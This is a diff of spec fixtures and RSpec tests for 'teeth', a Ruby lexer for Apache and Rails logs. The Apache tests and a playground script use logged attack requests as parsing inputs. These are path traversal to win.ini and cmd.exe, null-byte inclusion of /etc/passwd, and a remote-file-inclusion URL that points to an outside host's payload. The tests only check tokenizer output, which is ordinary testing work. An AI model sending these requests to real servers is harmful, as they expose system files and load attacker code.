teeth 0.2.0

data/spec/fixtures/rails_1x.log

@@ -0,0 +1,59 @@
+Processing DashboardController#index (for 1.1.1.1 at 2008-08-14 21:16:25) [GET]
+  Session ID: BAh7CToMcmVmZXJlciIbL3ByaXNjaWxsYS9wZW9wbGUvMjM1MCIKZmxhc2hJ
+QzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVz
+ZWR7ADoNbGFuZ3VhZ2VvOhNMb2NhbGU6Ok9iamVjdBI6CUB3aW4wOg1AY291
+bnRyeSIHTkw6CkBoYXNoaf3L2Js6DkBvcmlnX3N0ciIKbmwtTkw6DUBpc28z
+MDY2MDoNQGNoYXJzZXQiClVURi04Og5AbGFuZ3VhZ2UiB25sOg5AbW9kaWZp
+ZXIwOgtAcG9zaXgiCm5sX05MOg1AZ2VuZXJhbCIKbmxfTkw6DUB2YXJpYW50
+MDoOQGZhbGxiYWNrMDoMQHNjcmlwdDA6DnBlcnNvbl9pZGkCMgc=--7918aed37151c13360cd370c37b541f136146fbd
+  Parameters: {"action"=>"index", "controller"=>"dashboard"}
+Set language to: nl_NL
+Rendering template within layouts/priscilla
+Rendering dashboard/index
+Completed in 0.22699 (4 reqs/sec) | Rendering: 0.02667 (11%) | DB: 0.03057 (13%) | 200 OK [https://www.example.com/]
+
+
+Processing PeopleController#index (for 1.1.1.1 at 2008-08-14 21:16:30) [GET]
+  Session ID: BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo
+SGFzaHsABjoKQHVzZWR7ADoMcmVmZXJlciIQL3ByaXNjaWxsYS86DnBlcnNv
+bl9pZGkCMgc6DWxhbmd1YWdlbzoTTG9jYWxlOjpPYmplY3QSOg1AY291bnRy
+eSIHTkw6CUB3aW4wOg5Ab3JpZ19zdHIiCm5sLU5MOgpAaGFzaGn9y9ibOg5A
+bGFuZ3VhZ2UiB25sOg1AY2hhcnNldCIKVVRGLTg6DUBpc28zMDY2MDoOQG1v
+ZGlmaWVyMDoLQHBvc2l4IgpubF9OTDoNQHZhcmlhbnQwOg1AZ2VuZXJhbCIK
+bmxfTkw6DEBzY3JpcHQwOg5AZmFsbGJhY2sw--48cbe3788ef27f6005f8e999610a42af6e90ffb3
+  Parameters: {"commit"=>"Zoek", "action"=>"index", "q"=>"gaby", "controller"=>"people"}
+Set language to: nl_NL
+Redirected to https://www.example.com/people/2545
+Completed in 0.04759 (21 reqs/sec) | DB: 0.03719 (78%) | 302 Found [https://www.example.com/people?q=gaby&commit=Zoek]
+
+
+Processing PeopleController#show (for 1.1.1.1 at 2008-08-14 21:16:30) [GET]
+  Session ID: BAh7CToMcmVmZXJlciIpL3ByaXNjaWxsYS9wZW9wbGU/cT1nYWJ5JmNvbW1p
+dD1ab2VrIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxh
+c2hIYXNoewAGOgpAdXNlZHsAOg1sYW5ndWFnZW86E0xvY2FsZTo6T2JqZWN0
+EjoJQHdpbjA6DUBjb3VudHJ5IgdOTDoKQGhhc2hp/cvYmzoOQG9yaWdfc3Ry
+IgpubC1OTDoNQGlzbzMwNjYwOg1AY2hhcnNldCIKVVRGLTg6DkBsYW5ndWFn
+ZSIHbmw6DkBtb2RpZmllcjA6C0Bwb3NpeCIKbmxfTkw6DUBnZW5lcmFsIgpu
+bF9OTDoNQHZhcmlhbnQwOg5AZmFsbGJhY2swOgxAc2NyaXB0MDoOcGVyc29u
+X2lkaQIyBw==--3ad1948559448522a49d289a2a89dc7ccbe8847a
+  Parameters: {"action"=>"show", "id"=>"2545", "controller"=>"people"}
+Set language to: nl_NL
+Rendering template within layouts/priscilla
+Rendering people/show
+person: John Doe, study_year: 2008/2009
+Completed in 0.29077 (3 reqs/sec) | Rendering: 0.24187 (83%) | DB: 0.04030 (13%) | 200 OK [https://www.example.com/people/2545]
+
+
+Processing PeopleController#picture (for 1.1.1.1 at 2008-08-14 21:16:35) [GET]
+  Session ID: BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo
+SGFzaHsABjoKQHVzZWR7ADoMcmVmZXJlciIbL3ByaXNjaWxsYS9wZW9wbGUv
+MjU0NToOcGVyc29uX2lkaQIyBzoNbGFuZ3VhZ2VvOhNMb2NhbGU6Ok9iamVj
+dBI6DUBjb3VudHJ5IgdOTDoJQHdpbjA6DkBvcmlnX3N0ciIKbmwtTkw6CkBo
+YXNoaf3L2Js6DkBsYW5ndWFnZSIHbmw6DUBjaGFyc2V0IgpVVEYtODoNQGlz
+bzMwNjYwOg5AbW9kaWZpZXIwOgtAcG9zaXgiCm5sX05MOg1AdmFyaWFudDA6
+DUBnZW5lcmFsIgpubF9OTDoMQHNjcmlwdDA6DkBmYWxsYmFjazA=--797a33f280a482647111397d138d0918f2658167
+  Parameters: {"action"=>"picture", "id"=>"2545", "controller"=>"people"}
+Set language to: nl_NL
+Rendering template within layouts/priscilla
+Rendering people/picture
+Completed in 0.05383 (18 reqs/sec) | Rendering: 0.04622 (85%) | DB: 0.00206 (3%) | 200 OK [https://www.example.com/people/2545/picture]

data/spec/fixtures/rails_22.log

@@ -0,0 +1,12 @@
+Processing PageController#demo (for 127.0.0.1 at 2008-12-10 16:28:09) [GET]
+  Parameters: {"action"=>"demo", "controller"=>"page"}
+Logging in from session data...
+Logged in as test@example.com
+Using locale: en-US, http-accept: ["en-US"], session: , det browser: en-US, det domain: 
+Rendering template within layouts/demo
+Rendering page/demo
+Rendered shared/_analytics (0.2ms)
+Rendered layouts/_actions (0.6ms)
+Rendered layouts/_menu (2.2ms)
+Rendered layouts/_tabbar (0.5ms)
+Completed in 614ms (View: 120, DB: 31) | 200 OK [http://www.example.coml/demo]

data/spec/fixtures/rails_22_cached.log

@@ -0,0 +1,10 @@
+Processing CachedController#cached (for 1.1.1.1 at 2008-12-24 07:36:53) [GET]
+  Parameters: {"action"=>"cached", "controller"=>"cached"}
+Logging in from session data...
+Logging in using cookie...
+Using locale: zh-Hans, http-accept: ["zh-CN", "zh-HK", "zh-TW", "en-US"], session: , det browser: zh-Hans, det domain: , user pref locale: 
+Referer: http://www.example.com/referer
+Cached fragment hit: views/zh-Hans-www-cached-cached-all-CN--- (0.0ms)
+Filter chain halted as [#<ActionController::Caching::Actions::ActionCacheFilter:0x2a999ad620 @check=nil, @options={:store_options=>{}, :layout=>nil, :cache_path=>#<Proc:0x0000002a999b8890@/app/controllers/cached_controller.rb:8>}>] rendered_or_redirected.
+Filter chain halted as [#<ActionController::Filters::AroundFilter:0x2a999ad120 @identifier=nil, @kind=:filter, @options={:only=>#<Set: {"cached"}>, :if=>:not_logged_in?, :unless=>nil}, @method=#<ActionController::Caching::Actions::ActionCacheFilter:0x2a999ad620 @check=nil, @options={:store_options=>{}, :layout=>nil, :cache_path=>#<Proc:0x0000002a999b8890@/app/controllers/cached_controller.rb:8>}>>] did_not_yield.
+Completed in 3ms (View: 0, DB: 0) | 200 OK [http://www.example.com/cached/cached/]

data/spec/fixtures/rails_unordered.log

@@ -0,0 +1,24 @@
+Processing AccountController#dashboard (for 1.1.1.1 at 2008-12-24 07:36:49) [GET]
+  Parameters: {"action"=>"dashboard", "controller"=>"account", "first_use"=>"true"}
+Logging in from session data...
+
+
+Processing ProjectsController#new (for 1.1.1.1 at 2008-12-24 07:36:49) [GET]
+  Parameters: {"action"=>"new", "controller"=>"projects"}
+Rendering template within layouts/default
+Rendering account/dashboard
+Logging in from session data...
+Logging in using cookie...
+Using locale: en-US, http-accept: [], session: , det browser: , det domain: , user pref locale: 
+Rendered shared/_maintenance (0.6ms)
+Rendering template within layouts/templates/general_default/index.html.erb
+Rendered projects/_recent_designs (4.3ms)
+Rendered projects/_project (13.6ms)
+Rendered projects/_projects (18.7ms)
+Rendered layouts/_menu (1.4ms)
+Completed in 36ms (View: 30, DB: 3) | 200 OK [http://www.example.com/projects/new]
+Rendered layouts/_actions (0.3ms)
+Rendered layouts/_menu (1.6ms)
+Rendered layouts/_tabbar (1.9ms)
+Rendered layouts/_footer (3.2ms)
+Completed in 50ms (View: 41, DB: 4) | 200 OK [http://www.example.com/dashboard?first_use=true]

data/spec/playground/scan_rails_logs.rb

@@ -0,0 +1,56 @@
+#!/usr/bin/env ruby
+# encoding: utf-8
+require "uri"
+require File.dirname(__FILE__) + "/../spec_helper"
+
+# A very basic log stats program to show the use of Teeth.  Gives the top 20 
+# URLs and the top 10 Errors.  Supports Ruby 1.9, though it seems a bit 
+# slower than 1.8 (?)
+
+results = Hash.new(0)
+error_results = Hash.new(0)
+if RUBY_VERSION >= "1.9.0"
+  filename = ARGV[0].dup.force_encoding("ASCII-8BIT") # 1.9 is weird on Mac
+else
+  filename = ARGV[0]
+end
+
+File.open(filename, "r") do |f|
+  n_processed = n_completed = n_errors = 0
+  while line = f.gets
+    tokens = line.scan_rails_logs
+    if tokens[:teaser] && tokens[:teaser].first == "Processing"
+      n_processed += 1
+      results[tokens[:controller_action].first] += 1
+    end
+    if tokens[:error]
+      n_errors += 1
+      error_results[tokens[:error].first] += 1
+    end
+    if tokens[:url] && tokens[:teaser].first == "Completed in"
+      n_completed +=1
+    end
+  end
+  puts "=" * 80
+  puts "Totals"
+  puts "#{n_processed} requests processed"
+  puts "#{n_completed} requests completed"
+  results_ary = results.map { |url, hits| [url, hits] }.sort { |a, b| b.last <=> a.last }
+  puts "=" * 80
+  puts "\nTop 20 URLs"
+  puts "=" * 80
+  puts " URL".ljust(40) + " | " + "Hits"
+  puts "-" * 80
+  results_ary[0, 20].each do |url_hits|
+    puts url_hits.first.ljust(40) + " | " + url_hits.last.to_s
+  end
+  errors_ary = error_results.map { |error, hits| [error, hits] }.sort { |a, b| b.last <=> a.last }
+  puts "=" * 80
+  puts "\nTop 10 Errors"
+  puts "=" * 80
+  puts " Error".ljust(40) + " | " + "Hits"
+  puts "-" * 80
+  errors_ary[0, 10].each do |error_hits|
+    puts error_hits.first.ljust(40) + " | " + error_hits.last.to_s
+  end
+end

data/spec/playground/show_apache_processing.rb

@@ -0,0 +1,13 @@
+require File.dirname(__FILE__) + "/../spec_helper" # loads libs
+
+error_line = %q{[Sun Nov 30 14:23:45 2008] [error] [client 10.0.1.197] Invalid URI in request GET .\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini HTTP/1.1}
+access_line = %q{127.81.248.53 - - [14/Jan/2009:11:49:43 -0500] "GET /reports/REPORT7_1ART02.pdf HTTP/1.1" 206 255404}
+
+mangled_error_line = error_line + "more words"
+
+puts "Processed Error Message:"
+puts error_line.tokenize_apache_logs.inspect
+puts "Error Message with extras:"
+puts mangled_error_line.tokenize_apache_logs.inspect
+puts "Processed Access Message"
+puts access_line.tokenize_apache_logs.inspect

data/spec/spec.opts

@@ -0,0 +1 @@
+-c

data/spec/spec_helper.rb

@@ -0,0 +1,17 @@
+$:.unshift File.expand_path(File.dirname(__FILE__) + '/../lib')
+$:.unshift File.expand_path(File.dirname(__FILE__) + '/../ext')
+
+require "teeth"
+require 'scan_apache_logs/scan_apache_logs'
+require 'scan_rails_logs/scan_rails_logs'
+
+
+def be_greater_than(expected)
+  simple_matcher("be greater than #{expected.to_s}") do |given, matcher|
+    matcher.failure_message = "expected #{given.to_s} to be greater than #{expected.to_s}"
+    matcher.negative_failure_message = "expected #{given.to_s} to not be greater than #{expected.to_s}"
+    given > expected
+  end
+end
+
+include Teeth

data/spec/unit/rule_statement_spec.rb

@@ -0,0 +1,60 @@
+require File.dirname(__FILE__) + '/../spec_helper'
+
+describe RuleStatement do
+  
+  it "should generate a rule to short circuit scanner processing when given option :skip_line => true" do
+    rs = RuleStatement.new :rails_session_id_start, '{WS}*Session ID":"', :skip_line => true
+    expected = 
+%q|{WS}*Session ID":" {
+  return EOF_KVPAIR;
+}|
+    rs.scanner_code.should == expected
+  end
+
+  it "should use strip_ends(yytext) in the rule when given option :strip_ends => true" do
+    rs = RuleStatement.new :browser_string, '{BROWSER_STR}', :strip_ends => true
+    expected = 
+%q|{BROWSER_STR} {
+  KVPAIR browser_string = {"browser_string", strip_ends(yytext)};
+  return browser_string;
+}|
+    rs.scanner_code.should == expected
+  end
+  
+  it "should include a call to the BEGIN() macro if given the :begin option" do
+    rs = RuleStatement.new :start_special_state, '{SPECIAL_STATE_REGEX}', :begin => "SPECIAL_STATE"
+    expected = 
+%q|{SPECIAL_STATE_REGEX} {
+  BEGIN(SPECIAL_STATE);
+  KVPAIR start_special_state = {"start_special_state", yytext};
+  return start_special_state;
+}|
+    rs.scanner_code.should == expected
+  end
+  
+  it "should not include any C code if given :ignore => true" do
+    rs = RuleStatement.new :catchall_rule_for_special_state, '<SPECIAL_STATE>{CATCHALL}', :ignore => true
+    expected = %q|<SPECIAL_STATE>{CATCHALL}|
+    rs.scanner_code.should == expected
+  end
+  
+end
+
+describe RuleStatementGroup do
+  
+  before(:each) do
+    @statement_group = RuleStatementGroup.new
+  end
+  
+  it "should not reject duplicate rule definitions" do
+    @statement_group.add :explode_on_2nd_try, '{WS}'
+    lambda {@statement_group.add :explode_on_2nd_try, '{WS}'}.should_not raise_error DuplicateRuleError
+  end
+  
+  it "should use method missing magic to define rules with sugary syntax" do
+    @statement_group.http_version "{HTTP_VERSION}"
+    @statement_group.first.should == RuleStatement.new(:http_version, "{HTTP_VERSION}")
+  end
+  
+  
+end

data/spec/unit/scan_apache_spec.rb

@@ -0,0 +1,110 @@
+require File.dirname(__FILE__) + '/../spec_helper'
+$INCLUDE_SLOW_TESTS = true
+
+describe "Apache Lexer Extension", "when lexing apache errors" do
+
+  before(:each) do
+    str = "[Sun Nov 30 14:23:45 2008] [error] [client 10.0.1.197] Invalid URI in request GET .\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini HTTP/1.1"
+    @tokens = str.scan_apache_logs
+  end
+  
+  it "should return an uuid and empty message for an empty string" do
+    tokens = "".scan_apache_logs
+    tokens[:message].should == ""
+    tokens[:id].should match(/[0-9A-F]{32}/)
+  end
+  
+  it "should extract an IP address" do
+    @tokens[:ipv4_addr].first.should == "10.0.1.197"
+  end
+  
+  it "should extract an apache datetime" do
+    @tokens[:apache_err_datetime].first.should == "Sun Nov 30 14:23:45 2008"
+  end
+  
+  it "should extract the error level" do
+    @tokens[:error_level].first.should == "error"
+  end
+  
+  it "should extract the URI" do
+    @tokens[:relative_url].first.should == ".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini"
+  end
+  
+  it "should group unknown tokens into strings" do
+    @tokens[:strings].should == ["client", "Invalid URI in request"]
+  end
+  
+  it "should error out if the string is longer than 1M chars" do
+    str = ((("abcDE" * 2) * 1000) * 100) + "X"
+    lambda {str.scan_apache_logs}.should raise_error(ArgumentError, "string too long for scan_apache_logs! max length is 1,000,000 chars")
+  end
+  
+end
+
+describe "Apache Lexer Extension", "when lexing apache access logs" do
+  before(:each) do
+    str = %q{couchdb.localdomain:80 172.16.115.1 - - [13/Dec/2008:19:26:11 -0500] "GET /favicon.ico HTTP/1.1" 404 241 "http://172.16.115.130/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1"}
+    @tokens = str.scan_apache_logs
+    str2 = %q{127.162.219.29 - - [14/Jan/2009:15:32:32 -0500] "GET /reports//ee_commerce/paypalcart.php?toroot=http://www.shenlishi.com//skin/fxid1.txt?? HTTP/1.1" 404 5636}
+    @tokens2 = str2.scan_apache_logs
+    str3 = %q{127.81.248.53 - - [14/Jan/2009:11:49:43 -0500] "GET /reports/REPORT7_1ART02.pdf HTTP/1.1" 206 255404}
+    @tokens3 = str3.scan_apache_logs
+    str4 = %q{127.140.136.56 - - [23/Jan/2009:12:59:24 -0500] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 5607}
+    @tokens4 = str4.scan_apache_logs
+    str5 = %q{127.254.43.205 - - [26/Jan/2009:08:32:08 -0500] "GET /reports/REPORT9_3.pdf//admin/includes/footer.php?admin_template_default=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 5673}
+    @tokens5 = str5.scan_apache_logs
+    str6 = %q{127.218.234.82 - - [26/Jan/2009:08:32:19 -0500] "GET /reports/REPORT9_3.pdf//admin/includes/header.php?bypass_installed=1&bypass_restrict=1&row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 5721}
+    @tokens6 = str6.scan_apache_logs
+    str_naked_url = %q{127.218.234.82 - - [26/Jan/2009:08:32:19 -0500] "GET / HTTP/1.1" 404 5721}
+    @tokens_naked_url = str_naked_url.scan_apache_logs
+  end
+  
+  it "provides hints for testing" do
+    #puts "\n" + @tokens.inspect + "\n"
+  end
+  
+  it "should extract the vhost name" do
+    @tokens[:host].first.should == "couchdb.localdomain:80"
+  end
+  
+  it "should extract the datetime" do
+    @tokens[:apache_access_datetime].first.should == "13/Dec/2008:19:26:11 -0500"
+  end
+  
+  it "should extract the HTTP response code" do
+    @tokens[:http_response].first.should == "404"
+    #(100|101|20[0-6]|30[0-5]|307|40[0-9]|41[0-7]|50[0-5])
+    codes = ['100', '101'] + (200 .. 206).map { |n| n.to_s } + 
+    (300 .. 305).map { |n| n.to_s } + ['307'] + (400 .. 417).map { |n| n.to_s } +
+    (500 .. 505).map { |n| n.to_s }
+    codes.each do |code|
+      code.scan_apache_logs[:http_response].first.should == code
+    end
+  end
+  
+  it "should extract the HTTP version" do
+    @tokens[:http_version].first.should == "HTTP/1.1"
+  end
+  
+  it "should extract the browser string with quotes removed" do
+    @tokens[:browser_string].first.should == "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1"
+  end
+  
+  it "should not extract an HTTP code when a HTTP response code number appears in the bytes transferred" do
+    #puts "\nTOKENS3:\n" + @tokens3.inspect
+    @tokens3[:http_response].include?("404").should_not be_true
+  end
+  
+  it "should correctly identify gnarly URLs from web attacks as URLs" do
+    #puts "\nTOKENS2:\n" + @tokens2.inspect
+    @tokens2[:relative_url].first.should == "/reports//ee_commerce/paypalcart.php?toroot=http://www.shenlishi.com//skin/fxid1.txt??"
+    @tokens4[:relative_url].first.should == "/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir"
+    @tokens5[:relative_url].first.should == "/reports/REPORT9_3.pdf//admin/includes/footer.php?admin_template_default=../../../../../../../../../../../../../etc/passwd%00"
+    @tokens6[:relative_url].first.should == "/reports/REPORT9_3.pdf//admin/includes/header.php?bypass_installed=1&bypass_restrict=1&row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00"
+  end
+  
+  it "should correctly extract ``/'' as a URL" do
+    @tokens_naked_url[:relative_url].should == ["/"]
+  end
+  
+end

data/spec/unit/scan_rails_logs_spec.rb

@@ -0,0 +1,100 @@
+require File.dirname(__FILE__) + '/../spec_helper'
+#require "teeth/scan_rails_logs"
+# special shout out to Willem van Bergen, author of request-log-analyzer:
+# http://github.com/wvanbergen/request-log-analyzer/
+# Thanks for the log samples!
+
+describe "Rails Request Log Lexer", "when lexing Rails 1.x logs" do
+  
+  it "should extract the Controller, action, IP, timestamp and HTTP verb from a ``Processing'' line" do
+    line = %q{Processing PageController#demo (for 127.0.0.1 at 2008-12-10 16:28:09) [GET]}
+    result = line.scan_rails_logs
+    result[:teaser].first.should == "Processing"
+    result[:controller_action].first.should == "PageController#demo"
+    result[:ipv4_addr].first.should == "127.0.0.1"
+    result[:http_method].first.should == "GET"
+    result[:datetime].first.should == "2008-12-10 16:28:09"
+  end
+  
+  it "should give a hash with :cache_hit => not falsy value for a cache hit" do
+    cache_hit = %q{Filter chain halted as [#<ActionController::Caching::Actions::ActionCacheFilter:0x2a999ad620 @check=nil, @options={:store_options=>{}, :layout=>nil, :cache_path=>#<Proc:0x0000002a999b8890@/app/controllers/cached_controller.rb:8>}>] rendered_or_redirected.}
+    cache_hit.scan_rails_logs[:cache_hit].should be_true
+    cache_hit.scan_rails_logs[:teaser].first.should == "Filter chain halted"
+  end
+  
+  it "should extract an error, error_message, line of code, source code file, and stack_trace from a ``RuntimeError'' line" do
+    line = %q{RuntimeError (Cannot destroy employee):  /app/models/employee.rb:198:in `before_destroy' }
+    result = line.scan_rails_logs
+    #puts "###\n" + result.inspect
+    result[:error].first.should == "RuntimeError"
+    result[:error_message].first.should == "Cannot destroy employee"
+    result[:file_and_line].first.should == "/app/models/employee.rb:198"
+  end
+  
+  it "should extract the duration, view duration, db duration, HTTP status code, and url from a ``Completed'' line for Rails 1.x" do
+    rails_1x = %q{Completed in 0.21665 (4 reqs/sec) | Rendering: 0.00926 (4%) | DB: 0.00000 (0%) | 200 OK [http://demo.nu/employees]}
+    result = rails_1x.scan_rails_logs
+    result[:teaser].first.should == "Completed in"
+    result[:duration_s].first.should == "0.21665"
+    result[:view_s].first.should == "0.00926"
+    result[:db_s].first.should == "0.00000"
+    result[:http_response].first.should == "200"
+    result[:url].first.should == "http://demo.nu/employees"
+  end
+  
+  it "should also process a different 1.x ``Completed'' line correctly" do
+    alt_1x = %q{Completed in 0.04180 (23 reqs/sec) | Rendering: 0.02667 (63%) | DB: 0.00259 (6%) | 200 OK [http://localhost/]}
+    result = alt_1x.scan_rails_logs
+    #puts result.inspect
+    result[:teaser].first.should == "Completed in"
+    result[:duration_s].first.should == "0.04180"
+    result[:view_s].first.should == "0.02667"
+    result[:db_s].first.should == "0.00259"
+    result[:http_response].first.should == "200"
+    result[:url].first.should == "http://localhost/"    
+  end
+  
+  it "should extract the relevant components from a ``Completed'' line for Rails 2.x" do
+    rails_2x =  %q{Completed in 614ms (View: 120, DB: 31) | 200 OK [http://floorplanner.local/demo]}
+    result = rails_2x.scan_rails_logs
+    result[:teaser].first.should == "Completed in"
+    result[:duration_ms].first.should == "614"
+    result[:view_ms].first.should == "120"
+    result[:db_ms].first.should == "31"
+    result[:http_response].first.should == "200"
+    result[:url].first.should == "http://floorplanner.local/demo"
+  end
+
+  it "should extract the duration and partial from a ``Rendered'' line for rails 2.x" do
+    rendered_2x = "Rendered shared/_analytics (0.2ms)"
+    #puts "(rendered 2.x): " + rendered_2x.scan_rails_logs.inspect
+    rendered_2x.scan_rails_logs[:partial].first.should == "shared/_analytics"
+    rendered_2x.scan_rails_logs[:render_duration_ms].first.should == "0.2"
+  end
+  
+  it "should extract the duration and partial from a ``Rendered'' line for rails 1.x" do
+    rendered_1x = "Rendered layouts/_doc_type (0.00001)"
+    #puts "(rendered 1.x): " + rendered_1x.scan_rails_logs.inspect
+    rendered_1x.scan_rails_logs[:partial].first.should == "layouts/_doc_type"
+    rendered_1x.scan_rails_logs[:render_duration_s].first.should == "0.00001"
+  end
+  
+  it "should skip session id lines" do
+    session_id = %q{Session ID: BAh7CToMcmVmZXJlciIbL3ByaXNjaWxsYS9wZW9wbGUvMjM1MCIKZmxhc2hJ}
+    session_id.scan_rails_logs.keys.map { |k| k.to_s}.sort.should == ["id", "message"]
+  end
+  
+  it "should not return a teaser for session id continuation lines" do
+    session_id_contd = "ZWR7ADoNbGFuZ3VhZ2VvOhNMb2NhbGU6Ok9iamVjdBI6CUB3aW4wOg1AY291"
+    session_id_contd.scan_rails_logs[:teaser].should be_nil
+  end
+  
+  it "should give a non falsy value for :end_session_id at for the last line of a session id" do
+    session_id_end_1 = "bmxfTkw6DEBzY3JpcHQwOg5AZmFsbGJhY2sw--48cbe3788ef27f6005f8e999610a42af6e90ffb3"
+    session_id_end_1.scan_rails_logs[:end_session_id].should_not be_nil
+    session_id_end_2 = "X2lkaQIyBw==--3ad1948559448522a49d289a2a89dc7ccbe8847a"
+    session_id_end_2.scan_rails_logs[:end_session_id].should_not be_nil
+  end
+  
+
+end